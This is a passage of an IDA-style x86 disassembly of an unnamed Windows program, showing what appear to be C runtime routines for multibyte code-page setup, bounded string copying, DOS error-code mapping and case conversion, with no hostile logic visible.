mov eax, [edx+28h]
push eax
call sub_415860
add esp, 8
loc_41FA73: ; CODE XREF: ___:0041FA60j
mov ecx, [ebp+8]
cmp dword ptr [ecx+30h], 0
jz short loc_41FA8D
push 2
mov edx, [ebp+8]
mov eax, [edx+30h]
push eax
call sub_415860
add esp, 8
loc_41FA8D: ; CODE XREF: ___:0041FA7Aj
mov ecx, [ebp+8]
cmp dword ptr [ecx+38h], 0
jz short loc_41FAA7
push 2
mov edx, [ebp+8]
mov eax, [edx+38h]
push eax
call sub_415860
add esp, 8
loc_41FAA7: ; CODE XREF: ___:0041FA94j
mov ecx, [ebp+8]
cmp dword ptr [ecx+40h], 0
jz short loc_41FAC1
push 2
mov edx, [ebp+8]
mov eax, [edx+40h]
push eax
call sub_415860
add esp, 8
loc_41FAC1: ; CODE XREF: ___:0041FAAEj
mov ecx, [ebp+8]
cmp dword ptr [ecx+44h], 0
jz short loc_41FADB
push 2
mov edx, [ebp+8]
mov eax, [edx+44h]
push eax
call sub_415860
add esp, 8
loc_41FADB: ; CODE XREF: ___:0041FAC8j
mov ecx, [ebp+8]
cmp dword ptr [ecx+50h], offset dword_4443C8
jz short loc_41FAF8
push 2
mov edx, [ebp+8]
mov eax, [edx+50h]
push eax
call sub_415860
add esp, 8
loc_41FAF8: ; CODE XREF: ___:0041FAE5j
push 2
mov ecx, [ebp+8]
push ecx
call sub_415860
add esp, 8
loc_41FB06: ; CODE XREF: ___:0041FA39j
push 0
mov edx, dword_443E90
push edx
nop
call near ptr 2890A01h
loc_41FB15: ; CODE XREF: ___:0041FA1Aj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
nop
call near ptr 289096Fh
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
nop
call near ptr 28A0DEDh
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FB40 proc near ; CODE XREF: sub_420320+Ep
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push 19h
call sub_41B780
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_41FE90
add esp, 4
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
cmp ecx, dword_4DB564
jnz short loc_41FB7B
push 19h
call sub_41B820
add esp, 4
xor eax, eax
jmp loc_41FE80
; ---------------------------------------------------------------------------
loc_41FB7B: ; CODE XREF: sub_41FB40+28j
cmp [ebp+arg_0], 0
jnz short loc_41FB9C
call sub_41FF70
call sub_41FFF0
push 19h
call sub_41B820
add esp, 4
xor eax, eax
jmp loc_41FE80
; ---------------------------------------------------------------------------
loc_41FB9C: ; CODE XREF: sub_41FB40+3Fj
mov [ebp+var_4], 0
jmp short loc_41FBAE
; ---------------------------------------------------------------------------
loc_41FBA5: ; CODE XREF: sub_41FB40:loc_41FCFAj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41FBAE: ; CODE XREF: sub_41FB40+63j
cmp [ebp+var_4], 5
jnb loc_41FCFF
mov eax, [ebp+var_4]
imul eax, 30h
mov ecx, dword_443EA0[eax]
cmp ecx, [ebp+arg_0]
jnz loc_41FCFA
mov [ebp+var_24], 0
jmp short loc_41FBDF
; ---------------------------------------------------------------------------
loc_41FBD6: ; CODE XREF: sub_41FB40+B2j
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
loc_41FBDF: ; CODE XREF: sub_41FB40+94j
cmp [ebp+var_24], 101h
jnb short loc_41FBF4
mov eax, [ebp+var_24]
mov byte_4DB680[eax], 0
jmp short loc_41FBD6
; ---------------------------------------------------------------------------
loc_41FBF4: ; CODE XREF: sub_41FB40+A6j
mov [ebp+var_C], 0
jmp short loc_41FC06
; ---------------------------------------------------------------------------
loc_41FBFD: ; CODE XREF: sub_41FB40:loc_41FC82j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_41FC06: ; CODE XREF: sub_41FB40+BBj
cmp [ebp+var_C], 4
jnb short loc_41FC87
mov edx, [ebp+var_4]
imul edx, 30h
mov eax, [ebp+var_C]
lea ecx, dword_443EB0[edx+eax*8]
mov [ebp+var_8], ecx
jmp short loc_41FC2A
; ---------------------------------------------------------------------------
loc_41FC21: ; CODE XREF: sub_41FB40:loc_41FC80j
mov edx, [ebp+var_8]
add edx, 2
mov [ebp+var_8], edx
loc_41FC2A: ; CODE XREF: sub_41FB40+DFj
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_41FC82
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_41FC82
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_24], edx
jmp short loc_41FC56
; ---------------------------------------------------------------------------
loc_41FC4D: ; CODE XREF: sub_41FB40+13Ej
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_41FC56: ; CODE XREF: sub_41FB40+10Bj
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx+1]
cmp [ebp+var_24], edx
ja short loc_41FC80
mov eax, [ebp+var_24]
mov ecx, [ebp+var_C]
mov dl, byte_4DB681[eax]
or dl, byte_443E98[ecx]
mov eax, [ebp+var_24]
mov byte_4DB681[eax], dl
jmp short loc_41FC4D
; ---------------------------------------------------------------------------
loc_41FC80: ; CODE XREF: sub_41FB40+121j
jmp short loc_41FC21
; ---------------------------------------------------------------------------
loc_41FC82: ; CODE XREF: sub_41FB40+F3j
; sub_41FB40+FFj
jmp loc_41FBFD
; ---------------------------------------------------------------------------
loc_41FC87: ; CODE XREF: sub_41FB40+CAj
mov ecx, [ebp+arg_0]
mov dword_4DB564, ecx
mov dword_4DB57C, 1
mov edx, dword_4DB564
push edx
call sub_41FEF0
add esp, 4
mov dword_4DB784, eax
mov [ebp+var_C], 0
jmp short loc_41FCC0
; ---------------------------------------------------------------------------
loc_41FCB7: ; CODE XREF: sub_41FB40+1A2j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_41FCC0: ; CODE XREF: sub_41FB40+175j
cmp [ebp+var_C], 6
jnb short loc_41FCE4
mov ecx, [ebp+var_4]
imul ecx, 30h
mov edx, [ebp+var_C]
mov eax, [ebp+var_C]
mov cx, word_443EA4[ecx+eax*2]
mov word_4DB570[edx*2], cx
jmp short loc_41FCB7
; ---------------------------------------------------------------------------
loc_41FCE4: ; CODE XREF: sub_41FB40+184j
call sub_41FFF0
push 19h
call sub_41B820
add esp, 4
xor eax, eax
jmp loc_41FE80
; ---------------------------------------------------------------------------
loc_41FCFA: ; CODE XREF: sub_41FB40+87j
jmp loc_41FBA5
; ---------------------------------------------------------------------------
loc_41FCFF: ; CODE XREF: sub_41FB40+72j
lea edx, [ebp+var_20]
push edx
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 28B0000h
cmp eax, 1
jnz loc_41FE52
mov [ebp+var_24], 0
jmp short loc_41FD28
; ---------------------------------------------------------------------------
loc_41FD1F: ; CODE XREF: sub_41FB40+1FBj
mov ecx, [ebp+var_24]
add ecx, 1
mov [ebp+var_24], ecx
loc_41FD28: ; CODE XREF: sub_41FB40+1DDj
cmp [ebp+var_24], 101h
jnb short loc_41FD3D
mov edx, [ebp+var_24]
mov byte_4DB680[edx], 0
jmp short loc_41FD1F
; ---------------------------------------------------------------------------
loc_41FD3D: ; CODE XREF: sub_41FB40+1EFj
mov eax, [ebp+arg_0]
mov dword_4DB564, eax
mov dword_4DB784, 0
cmp [ebp+var_20], 1
jbe loc_41FE0E
lea ecx, [ebp+var_1A]
mov [ebp+var_28], ecx
jmp short loc_41FD6A
; ---------------------------------------------------------------------------
loc_41FD61: ; CODE XREF: sub_41FB40:loc_41FDBAj
mov edx, [ebp+var_28]
add edx, 2
mov [ebp+var_28], edx
loc_41FD6A: ; CODE XREF: sub_41FB40+21Fj
mov eax, [ebp+var_28]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_41FDBC
mov edx, [ebp+var_28]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_41FDBC
mov ecx, [ebp+var_28]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_24], edx
jmp short loc_41FD96
; ---------------------------------------------------------------------------
loc_41FD8D: ; CODE XREF: sub_41FB40+278j
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_41FD96: ; CODE XREF: sub_41FB40+24Bj
mov ecx, [ebp+var_28]
xor edx, edx
mov dl, [ecx+1]
cmp [ebp+var_24], edx
ja short loc_41FDBA
mov eax, [ebp+var_24]
mov cl, byte_4DB681[eax]
or cl, 4
mov edx, [ebp+var_24]
mov byte_4DB681[edx], cl
jmp short loc_41FD8D
; ---------------------------------------------------------------------------
loc_41FDBA: ; CODE XREF: sub_41FB40+261j
jmp short loc_41FD61
; ---------------------------------------------------------------------------
loc_41FDBC: ; CODE XREF: sub_41FB40+233j
; sub_41FB40+23Fj
mov [ebp+var_24], 1
jmp short loc_41FDCE
; ---------------------------------------------------------------------------
loc_41FDC5: ; CODE XREF: sub_41FB40+2ACj
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_41FDCE: ; CODE XREF: sub_41FB40+283j
cmp [ebp+var_24], 0FFh
jnb short loc_41FDEE
mov ecx, [ebp+var_24]
mov dl, byte_4DB681[ecx]
or dl, 8
mov eax, [ebp+var_24]
mov byte_4DB681[eax], dl
jmp short loc_41FDC5
; ---------------------------------------------------------------------------
loc_41FDEE: ; CODE XREF: sub_41FB40+295j
mov ecx, dword_4DB564
push ecx
call sub_41FEF0
add esp, 4
mov dword_4DB784, eax
mov dword_4DB57C, 1
jmp short loc_41FE18
; ---------------------------------------------------------------------------
loc_41FE0E: ; CODE XREF: sub_41FB40+213j
mov dword_4DB57C, 0
loc_41FE18: ; CODE XREF: sub_41FB40+2CCj
mov [ebp+var_C], 0
jmp short loc_41FE2A
; ---------------------------------------------------------------------------
loc_41FE21: ; CODE XREF: sub_41FB40+2FDj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_41FE2A: ; CODE XREF: sub_41FB40+2DFj
cmp [ebp+var_C], 6
jnb short loc_41FE3F
mov eax, [ebp+var_C]
mov word_4DB570[eax*2], 0
jmp short loc_41FE21
; ---------------------------------------------------------------------------
loc_41FE3F: ; CODE XREF: sub_41FB40+2EEj
call sub_41FFF0
push 19h
call sub_41B820
add esp, 4
xor eax, eax
jmp short loc_41FE80
; ---------------------------------------------------------------------------
loc_41FE52: ; CODE XREF: sub_41FB40+1D0j
cmp dword_4DB198, 0
jz short loc_41FE73
call sub_41FF70
call sub_41FFF0
push 19h
call sub_41B820
add esp, 4
xor eax, eax
jmp short loc_41FE80
; ---------------------------------------------------------------------------
loc_41FE73: ; CODE XREF: sub_41FB40+319j
push 19h
call sub_41B820
add esp, 4
or eax, 0FFFFFFFFh
loc_41FE80: ; CODE XREF: sub_41FB40+36j
; sub_41FB40+57j ...
mov esp, ebp
pop ebp
retn
sub_41FB40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE90 proc near ; CODE XREF: sub_41FB40+14p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov dword_4DB198, 0
cmp [ebp+arg_0], 0FFFFFFFEh
jnz short loc_41FEB5
mov dword_4DB198, 1
nop
call near ptr 28B087Ch
jmp short loc_41FEE7
; ---------------------------------------------------------------------------
loc_41FEB5: ; CODE XREF: sub_41FE90+11j
cmp [ebp+arg_0], 0FFFFFFFDh
jnz short loc_41FECD
mov dword_4DB198, 1
call near ptr 28B084Ah
nop
jmp short loc_41FEE7
; ---------------------------------------------------------------------------
loc_41FECD: ; CODE XREF: sub_41FE90+29j
cmp [ebp+arg_0], 0FFFFFFFCh
jnz short loc_41FEE4
mov dword_4DB198, 1
mov eax, dword_4DB1C8
jmp short loc_41FEE7
; ---------------------------------------------------------------------------
loc_41FEE4: ; CODE XREF: sub_41FE90+41j
mov eax, [ebp+arg_0]
loc_41FEE7: ; CODE XREF: sub_41FE90+23j
; sub_41FE90+3Bj ...
pop ebp
retn
sub_41FE90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEF0 proc near ; CODE XREF: sub_41FB40+161p
; sub_41FB40+2B5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
sub ecx, 3A4h
mov [ebp+var_4], ecx
cmp [ebp+var_4], 12h
ja short loc_41FF3A
mov eax, [ebp+var_4]
xor edx, edx
mov dl, byte_41FF54[eax]
jmp off_41FF40[edx*4]
loc_41FF1E: ; DATA XREF: ___:off_41FF40o
mov eax, 411h
jmp short loc_41FF3C
; ---------------------------------------------------------------------------
loc_41FF25: ; CODE XREF: sub_41FEF0+27j
; DATA XREF: ___:0041FF44o
mov eax, 804h
jmp short loc_41FF3C
; ---------------------------------------------------------------------------
loc_41FF2C: ; CODE XREF: sub_41FEF0+27j
; DATA XREF: ___:0041FF48o
mov eax, 412h
jmp short loc_41FF3C
; ---------------------------------------------------------------------------
loc_41FF33: ; CODE XREF: sub_41FEF0+27j
; DATA XREF: ___:0041FF4Co
mov eax, 404h
jmp short loc_41FF3C
; ---------------------------------------------------------------------------
loc_41FF3A: ; CODE XREF: sub_41FEF0+1Aj
; sub_41FEF0+27j
; DATA XREF: ...
xor eax, eax
loc_41FF3C: ; CODE XREF: sub_41FEF0+33j
; sub_41FEF0+3Aj ...
mov esp, ebp
pop ebp
retn
sub_41FEF0 endp
; ---------------------------------------------------------------------------
off_41FF40 dd offset loc_41FF1E ; DATA XREF: sub_41FEF0+27r
dd offset loc_41FF25
dd offset loc_41FF2C
dd offset loc_41FF33
dd offset loc_41FF3A
byte_41FF54 db 0 ; DATA XREF: sub_41FEF0+21r
db 3 dup(4)
dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF70 proc near ; CODE XREF: sub_41FB40+41p
; sub_41FB40+31Bp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_41FF86
; ---------------------------------------------------------------------------
loc_41FF7D: ; CODE XREF: sub_41FF70+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41FF86: ; CODE XREF: sub_41FF70+Bj
cmp [ebp+var_4], 101h
jge short loc_41FF9B
mov ecx, [ebp+var_4]
mov byte_4DB680[ecx], 0
jmp short loc_41FF7D
; ---------------------------------------------------------------------------
loc_41FF9B: ; CODE XREF: sub_41FF70+1Dj
mov dword_4DB564, 0
mov dword_4DB57C, 0
mov dword_4DB784, 0
mov [ebp+var_4], 0
jmp short loc_41FFCB
; ---------------------------------------------------------------------------
loc_41FFC2: ; CODE XREF: sub_41FF70+6Ej
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41FFCB: ; CODE XREF: sub_41FF70+50j
cmp [ebp+var_4], 6
jge short loc_41FFE0
mov eax, [ebp+var_4]
mov word_4DB570[eax*2], 0
jmp short loc_41FFC2
; ---------------------------------------------------------------------------
loc_41FFE0: ; CODE XREF: sub_41FF70+5Fj
mov esp, ebp
pop ebp
retn
sub_41FF70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FFF0 proc near ; CODE XREF: sub_41FB40+46p
; sub_41FB40:loc_41FCE4p ...
var_51C = dword ptr -51Ch
var_518 = byte ptr -518h
var_418 = byte ptr -418h
var_318 = byte ptr -318h
var_312 = byte ptr -312h
var_304 = byte ptr -304h
var_204 = word ptr -204h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 51Ch
lea eax, [ebp+var_318]
push eax
mov ecx, dword_4DB564
push ecx
nop
call near ptr 28B0000h
cmp eax, 1
jnz loc_420229
mov [ebp+var_51C], 0
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_420022: ; CODE XREF: sub_41FFF0+60j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_420031: ; CODE XREF: sub_41FFF0+30j
cmp [ebp+var_51C], 100h
jnb short loc_420052
mov eax, [ebp+var_51C]
mov cl, byte ptr [ebp+var_51C]
mov [ebp+eax+var_304], cl
jmp short loc_420022
; ---------------------------------------------------------------------------
loc_420052: ; CODE XREF: sub_41FFF0+4Bj
mov [ebp+var_304], 20h
lea edx, [ebp+var_312]
mov [ebp+var_4], edx
jmp short loc_42006D
; ---------------------------------------------------------------------------
loc_420064: ; CODE XREF: sub_41FFF0:loc_4200B6j
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
loc_42006D: ; CODE XREF: sub_41FFF0+72j
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_4200B8
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_51C], ecx
jmp short loc_420096
; ---------------------------------------------------------------------------
loc_420087: ; CODE XREF: sub_41FFF0+C4j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_420096: ; CODE XREF: sub_41FFF0+95j
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp+var_51C], ecx
ja short loc_4200B6
mov edx, [ebp+var_51C]
mov [ebp+edx+var_304], 20h
jmp short loc_420087
; ---------------------------------------------------------------------------
loc_4200B6: ; CODE XREF: sub_41FFF0+B4j
jmp short loc_420064
; ---------------------------------------------------------------------------
loc_4200B8: ; CODE XREF: sub_41FFF0+86j
push 0
mov eax, dword_4DB784
push eax
mov ecx, dword_4DB564
push ecx
lea edx, [ebp+var_204]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 1
call sub_427D80
add esp, 1Ch
push 0
mov ecx, dword_4DB564
push ecx
push 100h
lea edx, [ebp+var_418]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 100h
mov ecx, dword_4DB784
push ecx
call sub_425B90
add esp, 20h
push 0
mov edx, dword_4DB564
push edx
push 100h
lea eax, [ebp+var_518]
push eax
push 100h
lea ecx, [ebp+var_304]
push ecx
push 200h
mov edx, dword_4DB784
push edx
call sub_425B90
add esp, 20h
mov [ebp+var_51C], 0
jmp short loc_420169
; ---------------------------------------------------------------------------
loc_42015A: ; CODE XREF: sub_41FFF0:loc_42021Fj
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_420169: ; CODE XREF: sub_41FFF0+168j
cmp [ebp+var_51C], 100h
jnb loc_420224
mov ecx, [ebp+var_51C]
xor edx, edx
mov dx, [ebp+ecx*2+var_204]
and edx, 1
test edx, edx
jz short loc_4201C6
mov eax, [ebp+var_51C]
mov cl, byte_4DB681[eax]
or cl, 10h
mov edx, [ebp+var_51C]
mov byte_4DB681[edx], cl
mov eax, [ebp+var_51C]
mov ecx, [ebp+var_51C]
mov dl, [ebp+ecx+var_418]
mov byte_4DB580[eax], dl
jmp short loc_42021F
; ---------------------------------------------------------------------------
loc_4201C6: ; CODE XREF: sub_41FFF0+19Ej
mov eax, [ebp+var_51C]
xor ecx, ecx
mov cx, [ebp+eax*2+var_204]
and ecx, 2
test ecx, ecx
jz short loc_420212
mov edx, [ebp+var_51C]
mov al, byte_4DB681[edx]
or al, 20h
mov ecx, [ebp+var_51C]
mov byte_4DB681[ecx], al
mov edx, [ebp+var_51C]
mov eax, [ebp+var_51C]
mov cl, [ebp+eax+var_518]
mov byte_4DB580[edx], cl
jmp short loc_42021F
; ---------------------------------------------------------------------------
loc_420212: ; CODE XREF: sub_41FFF0+1EBj
mov edx, [ebp+var_51C]
mov byte_4DB580[edx], 0
loc_42021F: ; CODE XREF: sub_41FFF0+1D4j
; sub_41FFF0+220j
jmp loc_42015A
; ---------------------------------------------------------------------------
loc_420224: ; CODE XREF: sub_41FFF0+183j
jmp loc_4202EE
; ---------------------------------------------------------------------------
loc_420229: ; CODE XREF: sub_41FFF0+20j
mov [ebp+var_51C], 0
jmp short loc_420244
; ---------------------------------------------------------------------------
loc_420235: ; CODE XREF: sub_41FFF0:loc_4202E9j
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_420244: ; CODE XREF: sub_41FFF0+243j
cmp [ebp+var_51C], 100h
jnb loc_4202EE
cmp [ebp+var_51C], 41h
jb short loc_420298
cmp [ebp+var_51C], 5Ah
ja short loc_420298
mov ecx, [ebp+var_51C]
mov dl, byte_4DB681[ecx]
or dl, 10h
mov eax, [ebp+var_51C]
mov byte_4DB681[eax], dl
mov ecx, [ebp+var_51C]
add ecx, 20h
mov edx, [ebp+var_51C]
mov byte_4DB580[edx], cl
jmp short loc_4202E9
; ---------------------------------------------------------------------------
loc_420298: ; CODE XREF: sub_41FFF0+26Bj
; sub_41FFF0+274j
cmp [ebp+var_51C], 61h
jb short loc_4202DC
cmp [ebp+var_51C], 7Ah
ja short loc_4202DC
mov eax, [ebp+var_51C]
mov cl, byte_4DB681[eax]
or cl, 20h
mov edx, [ebp+var_51C]
mov byte_4DB681[edx], cl
mov eax, [ebp+var_51C]
sub eax, 20h
mov ecx, [ebp+var_51C]
mov byte_4DB580[ecx], al
jmp short loc_4202E9
; ---------------------------------------------------------------------------
loc_4202DC: ; CODE XREF: sub_41FFF0+2AFj
; sub_41FFF0+2B8j
mov edx, [ebp+var_51C]
mov byte_4DB580[edx], 0
loc_4202E9: ; CODE XREF: sub_41FFF0+2A6j
; sub_41FFF0+2EAj
jmp loc_420235
; ---------------------------------------------------------------------------
loc_4202EE: ; CODE XREF: sub_41FFF0:loc_420224j
; sub_41FFF0+25Ej
mov esp, ebp
pop ebp
retn
sub_41FFF0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword_4DB57C, 0
jz short loc_420313
mov eax, dword_4DB564
jmp short loc_420315
; ---------------------------------------------------------------------------
loc_420313: ; CODE XREF: ___:0042030Aj
xor eax, eax
loc_420315: ; CODE XREF: ___:00420311j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420320 proc near ; CODE XREF: ___:0042611Dp
; ___:004261DFp ...
push ebp
mov ebp, esp
cmp dword_4DC7C8, 0
jnz short loc_420340
push 0FFFFFFFDh
call sub_41FB40
add esp, 4
mov dword_4DC7C8, 1
loc_420340: ; CODE XREF: sub_420320+Aj
pop ebp
retn
sub_420320 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420350 proc near ; CODE XREF: sub_417BD0+41p
; sub_417BD0+11Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
cmp dword_4DB57C, 0
jnz short loc_42037C
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_417770
add esp, 0Ch
jmp loc_420471
; ---------------------------------------------------------------------------
loc_42037C: ; CODE XREF: sub_420350+11j
push 19h
call sub_41B780
add esp, 4
loc_420386: ; CODE XREF: sub_420350:loc_42043Ej
cmp [ebp+arg_8], 0
jz loc_420443
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_4DB681[eax]
and ecx, 4
test ecx, ecx
jz short loc_420415
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_8], 0
jnz short loc_4203DA
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-1], 0
jmp short loc_420443
; ---------------------------------------------------------------------------
loc_4203DA: ; CODE XREF: sub_420350+7Fj
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test ecx, ecx
jnz short loc_420413
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-2], 0
jmp short loc_420443
; ---------------------------------------------------------------------------
loc_420413: ; CODE XREF: sub_420350+B8j
jmp short loc_42043E
; ---------------------------------------------------------------------------
loc_420415: ; CODE XREF: sub_420350+5Dj
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
test eax, eax
jnz short loc_42043E
jmp short loc_420443
; ---------------------------------------------------------------------------
loc_42043E: ; CODE XREF: sub_420350:loc_420413j
; sub_420350+EAj
jmp loc_420386
; ---------------------------------------------------------------------------
loc_420443: ; CODE XREF: sub_420350+3Aj
; sub_420350+88j ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_420464
mov edx, [ebp+arg_0]
mov byte ptr [edx], 0
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_420443
; ---------------------------------------------------------------------------
loc_420464: ; CODE XREF: sub_420350+101j
push 19h
call sub_41B820
add esp, 4
mov eax, [ebp+var_4]
loc_420471: ; CODE XREF: sub_420350+27j
mov esp, ebp
pop ebp
retn
sub_420350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420480 proc near ; CODE XREF: sub_4181D0+2Ep
; sub_41A370+1Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_420530
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov [ebp+var_4], 0
jmp short loc_4204A0
; ---------------------------------------------------------------------------
loc_420497: ; CODE XREF: sub_420480:loc_4204C8j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4204A0: ; CODE XREF: sub_420480+15j
cmp [ebp+var_4], 2Dh
jnb short loc_4204CA
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
cmp ecx, dword_443F90[eax*8]
jnz short loc_4204C8
call sub_420520
mov edx, [ebp+var_4]
mov ecx, dword_443F94[edx*8]
mov [eax], ecx
jmp short loc_42050D
; ---------------------------------------------------------------------------
loc_4204C8: ; CODE XREF: sub_420480+33j
jmp short loc_420497
; ---------------------------------------------------------------------------
loc_4204CA: ; CODE XREF: sub_420480+24j
cmp [ebp+arg_0], 13h
jb short loc_4204E3
cmp [ebp+arg_0], 24h
ja short loc_4204E3
call sub_420520
mov dword ptr [eax], 0Dh
jmp short loc_42050D
; ---------------------------------------------------------------------------
loc_4204E3: ; CODE XREF: sub_420480+4Ej
; sub_420480+54j
cmp [ebp+arg_0], 0BCh
jb short loc_420502
cmp [ebp+arg_0], 0CAh
ja short loc_420502
call sub_420520
mov dword ptr [eax], 8
jmp short loc_42050D
; ---------------------------------------------------------------------------
loc_420502: ; CODE XREF: sub_420480+6Aj
; sub_420480+73j
call sub_420520
mov dword ptr [eax], 16h
loc_42050D: ; CODE XREF: sub_420480+46j
; sub_420480+61j ...
mov esp, ebp
pop ebp
retn
sub_420480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420520 proc near ; CODE XREF: sub_417E70:loc_418142p
; sub_419D80+E4p ...
push ebp
mov ebp, esp
call sub_41F970
add eax, 8
pop ebp
retn
sub_420520 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420530 proc near ; CODE XREF: sub_41A370+4Ap
; sub_41B1B0+3Cp ...
push ebp
mov ebp, esp
call sub_41F970
add eax, 0Ch
pop ebp
retn
sub_420530 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
sub eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420550 proc near ; CODE XREF: sub_417E70+201p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DB1B8, 0
jnz short loc_420577
cmp [ebp+arg_0], 61h
jl short loc_420572
cmp [ebp+arg_0], 7Ah
jg short loc_420572
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_420572: ; CODE XREF: sub_420550+11j
; sub_420550+17j
mov eax, [ebp+arg_0]
jmp short loc_4205DF
; ---------------------------------------------------------------------------
loc_420577: ; CODE XREF: sub_420550+Bj
